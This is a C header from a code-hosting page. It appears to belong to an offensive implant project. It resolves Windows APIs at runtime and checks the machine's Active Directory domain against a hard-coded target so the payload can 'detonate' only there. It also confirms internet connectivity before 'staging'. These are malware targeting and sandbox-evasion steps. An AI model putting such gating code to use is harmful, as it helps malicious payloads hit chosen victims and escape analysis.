-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathchecks.h
98 lines (65 loc) · 2.38 KB
/
checks.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
// Check Domain Name before Spawning
#include "headers.h"
#include <Wininet.h>
#pragma comment (lib, "wininet.lib")
#define UNLEN 256;
typedef BOOL(WINAPI* _GetComputerNameExA)(
COMPUTER_NAME_FORMAT NameType,
LPSTR lpBuffer,
LPDWORD nSize
);
typedef BOOL(WINAPI* _InternetGetConnectedState)(
LPDWORD lpdwFlags,
DWORD dwReserved);
DWORD DomainCheck(){
// To Get AD Domain Name
COMPUTER_NAME_FORMAT name = ComputerNamePhysicalDnsDomain;
HMODULE Kernel32 = GetModuleHandleA("Kernel32.dll");
_GetComputerNameExA GetComputerNameExA = (_GetComputerNameExA)GetProcAddress(Kernel32, "GetComputerNameExA");
if (GetComputerNameExA == NULL) {
return -1;
}
// Init some important variables
LPSTR lpBuffer[MAX_PATH];
DWORD dwLength = UNLEN + 1;
ZeroMemory(lpBuffer, MAX_PATH);
// Retrieve name
BOOL valid = GetComputerNameExA(name, (LPSTR)lpBuffer, &dwLength);
if (!valid) {
printf("Failed to Get Domain Name\n");
}
// printf("Domain is: %s\n", (LPSTR)lpBuffer);
char domnam[256] = "radiantcorp.local";
if (strcmp(domnam, (LPSTR)lpBuffer) == 0) {
// detonate only if domain name matched
printf("\nmatch\n");
return TRUE;
}
// Change this to FALSE to check agains the domain above
return TRUE;
}
// Check internet connectivity before staging
BOOL checkinternet() {
HMODULE Wininet = LoadLibraryA("Wininet.dll");
_InternetGetConnectedState ConnectStatus = (_InternetGetConnectedState)GetProcAddress(Wininet, "InternetGetConnectedState");
int sleepBetweenQueriesInMS = 10000;
LPDWORD connectionDescription=0;
int isActive = 0;
isActive = ConnectStatus(connectionDescription, 0);
if (isActive == 0) {
printf("No active connection, sleeping now for %d seconds\n", (sleepBetweenQueriesInMS / 1000));
// wait 10 seconds and try again !
Sleep(sleepBetweenQueriesInMS);
}
isActive = ConnectStatus(connectionDescription, 0);
if (isActive == 0) {
printf("I waited but no internet \n");
// printf("Break");
}else{
// printf("Internet check pass\n");
// printf("Move to staging\n");
return TRUE;
}
// dont wanna get those windns headers :(
return FALSE;
}